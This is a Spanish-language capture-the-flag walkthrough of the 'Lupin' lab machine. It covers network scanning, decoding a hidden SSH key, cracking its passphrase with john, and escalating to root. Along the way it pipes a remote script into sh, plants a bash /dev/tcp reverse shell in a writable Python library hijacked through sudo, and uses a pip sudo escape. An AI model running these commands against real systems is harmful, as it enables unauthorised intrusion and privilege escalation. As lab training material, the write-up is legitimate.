

Lupin

Relizamos un netdiscover

```
sudo netdiscover -r 192.168.235.0/24
```

IP: 192.168.235.137

Escaneo nmap

```
sudo nmap -sCV -n -p- 192.168.235.137
```

Resultado

Starting Nmap 7.95 (<https://nmap.org>) at 2025-08-14 18:54 EDT

Nmap scan report for 192.168.235.137

Host is up (0.0010s latency).

Not shown: 65533 closed tcp ports (reset)

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0)

| ssh-hostkey:

| 3072 ed:ea:d9:d3:af:19:9c:8e:4e:0f:31:db:f2:5d:12:79 (RSA)

| 256 bf:9f:a9:93:c5:87:21:a3:6b:6f:9e:e6:87:61:f5:19 (ECDSA)

| *256 ac:18:ec:cc:35:c0:51:f5:6f:47:74:c3:01:95:b4:0f (ED25519)*

80/tcp open http Apache httpd 2.4.48 ((Debian))

| http-robots.txt: 1 disallowed entry

|/~myfiles

|_http-title: Site doesn't have a title (text/html).

|_http-server-header: Apache/2.4.48 (Debian)

MAC Address: 00:0C:29:3C:EB:0D (VMware)

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Puertos abiertos: 22 y 80

Pagina

La pagina que esta expuesta es la siguiente:



En el código de la pagina no se encontró nada importante.

En el escaneo nmap, nos dio la información de que encontró un directorio llamado, ~myfiles, al entrar vemos la siguiente pagina, de un error 404.

Busqueda de directorios

Procedemos a realizar una busqueda de directorios con gobuster:

```
gobuster dir -u http://192.168.235.137/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
```

Resultado

Gobuster v3.6

by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

```
=====
[+] Url: http://192.168.235.137/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
=====
Starting gobuster in directory enumeration mode
=====
/image (Status: 301) [Size: 318] [--> http://192.168.235.137/image/]
/javascript (Status: 301) [Size: 323] [--> http://192.168.235.137/javascript/]
```

/manual (Status: 301) [Size: 319] [--> http://192.168.235.137/manual/]

/server-status (Status: 403) [Size: 280]

Progress: 220559 / 220560 (100.00%)

=====

Finished

=====

Al hacer una búsqueda después de la virgullita,

ffuf -u <http://192.168.235.137/~FUZZ> -w /usr/share/SecLists/Discovery/Web-Content/common.txt -mc 200,301,302,401

también encontraremos el directorio secret, el cual contiene lo siguiente

Hello Friend, Im happy that you found my secret diretory, I created like this to share with you my create ssh private key file, Its hided somewhere here, so that hackers dont find it and crack my passphrase with fasttrack. I'm smart I know that. Any problem let me know

Your best friend icex64

Haciendo mas búsquedas, veremos que esta el archivo mysecret.txt, este archivo almacena un mensaje codificado, con ayuda de la pagina dcode podremos averiguar mas de esto, entramos a <https://www.dcode.fr/cipher-identifier> y pegamos el texto, en este caso me dice que codificador es mas probable que sea

The screenshot shows the DCode Cipher Identifier web application. On the left, a sidebar titled 'Search for a tool' contains a search bar and a list of results. The top result is 'Base 58', which is highlighted. Below it are 'Base62 Encoding', 'Base64 Coding', 'Substitution Cipher', 'Shift Cipher', 'Homophonic Cipher', and 'Pollux Cipher'. The main content area is titled 'Cryptography > Cipher Identifier'. It features a 'Learn more' button and an 'ENCRYPTED MESSAGE IDENTIFIER' section. This section includes a 'CIPHERTEXT TO RECOGNIZE' field with a sample ciphertext, a 'CLUES/KEYWORDS (IF ANY)' field, and an 'ANALYZE' button. Below these fields, there are links to 'See also: Frequency Analysis — Index of Coincidence' and 'Go to: Symbols Cipher List'.

Hacemos click en base 58, pegamos el mensaje codificado y damos decodificar, esto nos dara como resultado el siguiente texto

-----BEGIN OPENSSSH PRIVATE KEY-----

b3BlbnNzaC1rZXktdjEAAAACMFlczl1Ni1jYmMAAAAGYmNyeXB0AAAAGAAAABDy33c2Fp

PBYANne4oz3usGAAAAEAAAAEAAAIXAAAAB3NzaC1yc2EAAAADAQABAAQDBzHjzJ
cvk
9GXiytplgT9z/mP91NqOU9QoAwop5JNxEfm/j5KQmdj/JB7sQ1hBotONvqaAdmsK+OYL9
H6NSb0jMbMc4soFrBinoLEkx894B/PqUTODesMEV/aK22UKegdWlJ9Arf+1Y48V86gkzS6
xzoKn/ExVKApsdimlRvGhsv4ZMmMZEKTloTEGz7raD7QHDEXiusWI0hkh33rQQCrFsZFT7
J0wKgLRX2pmoMQC6o42OQJANLBzTxCY6jU2BDQECovURPL7eJa0/nRfCaOrlzPfZ/NNYgu
/Dlf1CmbXESCVmID71cbPqwfWKGf3hWeEr0WdQhEuTf5OyDICwUbg0dLiKz4kcskYcDzH0
ZnaDsmjoYv2uLVLi19jrnp/tVoLbKm39ImmV6Jubj6JmpHXewewKiv6z1nNE8mkHMPY5I
he0cLdyv316bFI8O+3y5m3gPIhUUK78C5n0VUOPSQMSx56d+B9H2bFil2lo18mTFawa0pf
XdcBVXZkouX3nlZB1/Xoip71LH3kPI7U7fPsz5EyFIPWlaENsRmznbtY9ajQhbjHAJFCIA
hzXJi4LGZ6mjaGEil+9g4U7pjTEAqYv1+3x8F+zuiZsVdMr/66Ma4e6iwPLqmtzt3UiFGb
4le1xaWQf7UnloKUyJLvMwBbb3gRYakBbQApoONhGoYQAAB1BkuFFctACNrIDxN180vczq
mXXs+ofdFSDieiNhKCLdSqFDsSALaXkLX8DFDpFY236qQE1poC+LJsPHJYSpZOr0cGjtWp
MkMcBnzD9uynCjhZ9ijaPY/vMY7mtHZNCY8SeoWAXYXToKy2cu/+pVyGQ76KYt3J0AT7wA
2OR3aMMk0o1LoozuyvOrB3cXMHh75zBfgQyAeeD7LyYG/b7z6zGvVxZca/g572CXxXSXlb
QOW/AR8ArhAP4SJRNkFoV2YRCe38WhQEp4R6k+34tK+kUoEaVAbwU+IchYyM8ZarSvHVpE
vFUPiANSHCZ/b+pdKQtBzTk5/VH/Jk3QPcH69EJyx8/gRE/glQY6z6nC6uoG4Akll+gOxZ
0hWJJv0R1Sgrc91mBVcyWmuUPFRB5YFMHDWbYmZ0lvcZtUxRsSk2/uWDWZcW4tDskEVPf
t
rqE36ftm9eJ/nWDsZoNxZbjo4cF44PTF0WU6U0UsJW6mDclDko6XSjCK4tk8vr4qQB8OLB
QMbbCOEVOOOm9ru89e1a+FCKhEPP6LfoBGCZMkqdOqUmastvCeUmht6a1z6nXTizomm
Zy
x+ltg9c9xfeO8tg1xasCel1BlulhUKwGDkLCeIESD1HYDBXb+HjmHfwzRipn/tLuNPLNjG
nx9LpVd7M72Fjk6lly8KUGL7z95HAtwmSgqIRIN+M5iKIB5CVafq0z59VB8vb9oMUGkCC5
VQRfKlZvKnPk0Ae9QyPUzADy+gCuQ2HmSkJTxM6KxoZUpDCfVn08Txt0dn7CnTrFPGLcTO
cNi2xzGu3wC7jpZvkncZN+qRB0ucd6vfJ04mcT03U5oq++uyXx8t6EKESa4LXccPGNhpfh
nEcgv6QBMBgQ1Ph0JSnUB7jrkjqC1q8qRNUecWHyHgct75JwEo5ReLdV/hZBWPd8Zefm
8UytFDSagEB40Ej9jbD5GoHMPBx8VJOLhQ+4/xuaairC7s9OcX4WDZeX3E0FJP9kq3QEYH
zcixzXCpk5KnVmxPul7vNieQ2gqBjtR9BA3PqCXPelH0OWXYE+LRnG35W6meqqQBw8gSPw
n49YIYW3wxv1G3qxqaoG23HT3dxKcssp+XqmSALaJlzYlPnH5Cmao4eBQ4jv7qxKRhspl
AbbL2740eXtrhk3AIWiaw1h0DRXrm2GkvbvAEewx3sXEtPnMG4YVyVAFgl37MUDrcLO93
oVb4p/rHHqqPNMNwM1ns+adF7REjzFwr4/trZq0XFkrpCe5fBYH58YyfO/g8up3DMxcSSI
63RqSbk60Z3iYiwB8iQgortZm0UsQbzLj9i1yiKQ6OekRQaEGxuIU1SvZoQO9NnTo0SV
y7mHzzG17nK4IMJXqTxl08q26OzvdqevMX9b3GABVaH7fsYxoXF7eDsRSx83pjrcSd+t0+
t/YYhQ/r2z30YfqwLas7ltoJotTcmPqll28JpX/nlpkEMcuXoLDzLvCZORo7AYd8JQrtg2
Ays8pHGynylFMDTn13gPJTYJhLDO4H9+7dZy825mkfKnYhPnioKUFgqJK2yswQaRPLakHU
yviNXqtxyqKc5qYQMmlF1M+fSjExEYfXblcBhZ7gXYwalGX7uX8vk8zO5dh9W9SbO4Lxll
8nSvezGJJWBGXZAZSiLkCVp08PeKxmKN2S1TzxqoW7VOnl3jBvKD3lpQXSsbTgz5WB07BU
mUbxCXl1NYzXHPEAP95Ik8cMB8MOyFcEITD8BXJRBX2l6zHOH+4Qa4+oV9ZluLBxeu22r
VgG7l5THcjO7L4YubiXuE2P7u77obWUfeltC8wQ0jArWi26x/IUt/FP8Nq964pD7m/dPHQ

```
E8/oh4V1NTGWrDsK3AbLk/MrgROSg7Ic4BS/8lwRVuC+d2w1Pq+X+zMkblEpD49luulazJ
Bhk3s6SyWUhfD6u4C3N8zC3Jeb16ixeVM2vEJWZ2Vhcy+31qP80O/+Kk9NUWalsz+6Kt2
yueBXN1LLFJNRVMvVO823rzVVOY2yXw8AVZKOqDRzgvBk1AHnS7r3lfHWEh5RyNhiElKZ+
wDSuOKenqc71GfvgmVOUypYTtoI527fiF/9rS3MQH2Z3I+qWMw5A1PU2BCkMso060OIE9P
5KfF3atxbiAVii6oKfBnRhqM2s4SpWDZd8xPafktBPMgN97TzLWM6pi0NgS+fJtJPpDRL8
vTGvFCHHV4SgTB64+HTAH53uQC5qizj5t38in3LCWtPExGV3eiKbxuMxtDGwwSLT/DKcZ
Qb50sQsJUxKkuMyfvDQC9wyhYnH0/4m9ahgaTwzQFfyf7DbTM0+sXKrITYdMYGNZitKeqB
1bsU2HpDgh3HuudIVbtXG74nZaLPTevSrZKSAOit+Qz6M2ZAuJJ5s7UElqrLliR2FAN+gB
ECm2RqzB3Huj8mM39RitRGtlhejpsWrDkbSzVHMhTEz4tlwHgKk01BTD34ryeel/4ORIsC
iUJ66WmRUN9EoVlkeCzQJwivl=
-----END OPENSSH PRIVATE KEY-----
```

Descifrando el hash

Guardamos en un archivo txt, para usar john the reaper

```
/usr/share/john/ssh2john.py
```

```
sudo /usr/share/john/ssh2john.py ssh_key.txt > hash
```

creamos un hash con el comando anterior y enseguida usamos john para decifrar el hash

```
sudo john --wordlist=/usr/share/wordlists/fasttrack.txt hash
```

Y esto nos da

```
P@55w0rd! (ssh_key.txt)
```

Credenciales

usuario = icex64

password = P@55w0rd!

Entramos de la siguiente manera, donde ssh_key es la clave de ssh cifrada, esto es asi porque solo puedes entrar si tienes clave privada, no basta con meter usuario y password

```
sudo ssh -i ssh_key.txt icex64@192.168.235.137
```

Dentro de la maquina

con ls -la veremos las carpetas ocultas, esta ssh, esta tiene claves que se pueden descifrar.

Usaremos linpeas para ver las vulnerabilidades, una manera de tenerlo en la maquina seria descargarlo con el siguiente comando:

```
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
```

Y otra seria pasarlo dese la maquina host;

En la carpeta donde esta el linpeas ponemos:

```
sudo python3 -m http.server 80
```

Desde la maquina victima ponemos:

```
cd /tmp (Esto para poder guardarlo en un lugar donde podremos crear documentos)
wget 192.168.235.139/linpeas.sh
```

le cambiamos los privilegios al linpeas

```
chmod 777 linpeas.sh
./linpeas.sh
```

En el escaneo no se dice mucho

Escalada de privilegios

Haremos sudo -l para ver que podemos ejecutar bajo sudo, vemos lo siguiente:

```
icex64@LupinOne:/tmp$ sudo -l
Matching Defaults entries for icex64 on LupinOne:
env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

User icex64 may run the following commands on LupinOne:
(arsene) NOPASSWD: /usr/bin/python3.9 /home/arsene/heist.py
```

Con el siguiente comando

```
find / -type f -perm -ug=rwx 2>/dev/null
```

Buscaremos archivos que cualquier usuario, grupo puede ejecutar, leer y escribir.

Escribimos cat >> /usr/lib/python3.9/webbrowser.py, esto abrirá el archivo y metemos el siguiente comando:

```
os.system("/bin/bash -c '/bin/bash -i>& dev/tcp/192.168.235.139/1234 0>&1'")
```

Desde la maquina host abrimos el puerto 1234, para tener la reverse shell

```
nc -lvnp 1234
```

Ahora toca ejecutar el archivo .py con sudo bajo el usuario arsene,

```
sudo -u arsene /usr/bin/python3.9 /home/arsene/heist.py
```

Tenemos acceso

```

arsene@LupinOne/tmp$
arsene@LupinOne/tmp$ whoami
whoami
arsene
arsene@LupinOne/tmp$ ls -l
ls -l
total 952
-rwxrwxrwx 1 icex64 icex64 956174 Aug 15 02:11 linpeas.sh
drwx----- 3 root root 4096 Aug 14 17:55 systemd-private-46e0a89e937f441ba368cb8670a811e5-apache2.service-Rvfkah
drwx----- 3 root root 4096 Aug 14 17:55 systemd-private-46e0a89e937f441ba368cb8670a811e5-systemd-logind.service-6ksM9g
drwx----- 3 root root 4096 Aug 14 17:55 systemd-private-46e0a89e937f441ba368cb8670a811e5-systemd-timesyncd.service-qdmSqh
drwx----- 2 root root 4096 Aug 14 17:55 vmware-root_431-1857883217
arsene@LupinOne/tmp$

```

Hacemos sudo -l y nos da

```
sudo -l
```

Matching Defaults entries for arsene on LupinOne:

env_reset, mail_badpass,

```
secure path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
```

User arsene may run the following commands on LupinOne:

```
(root) NOPASSWD: /usr/bin/pip
```

Vamos a <https://gtfobins.github.io/> y vamos a pip y shell, pegamos los comandos uno por uno y al final el ultimo lo ejecutamos como sudo

```
arsene@LupinOne:/home/icex64$
arsene@LupinOne:/home/icex64$ sudo pip install $TF
^[B^[[B^[[B^[[B^[[B^[[B^[[B^[[B^[[B^[[B^[[B^[[[B^[[B^[[B^[[B^[[B^[[BPro
cessing /tmp/tmp.tcrYQk3LH7
#id
sh: 1: d: not found
# id
uid=0(root) gid=0(root) groups=0(root)
```

Y listo, tenemos root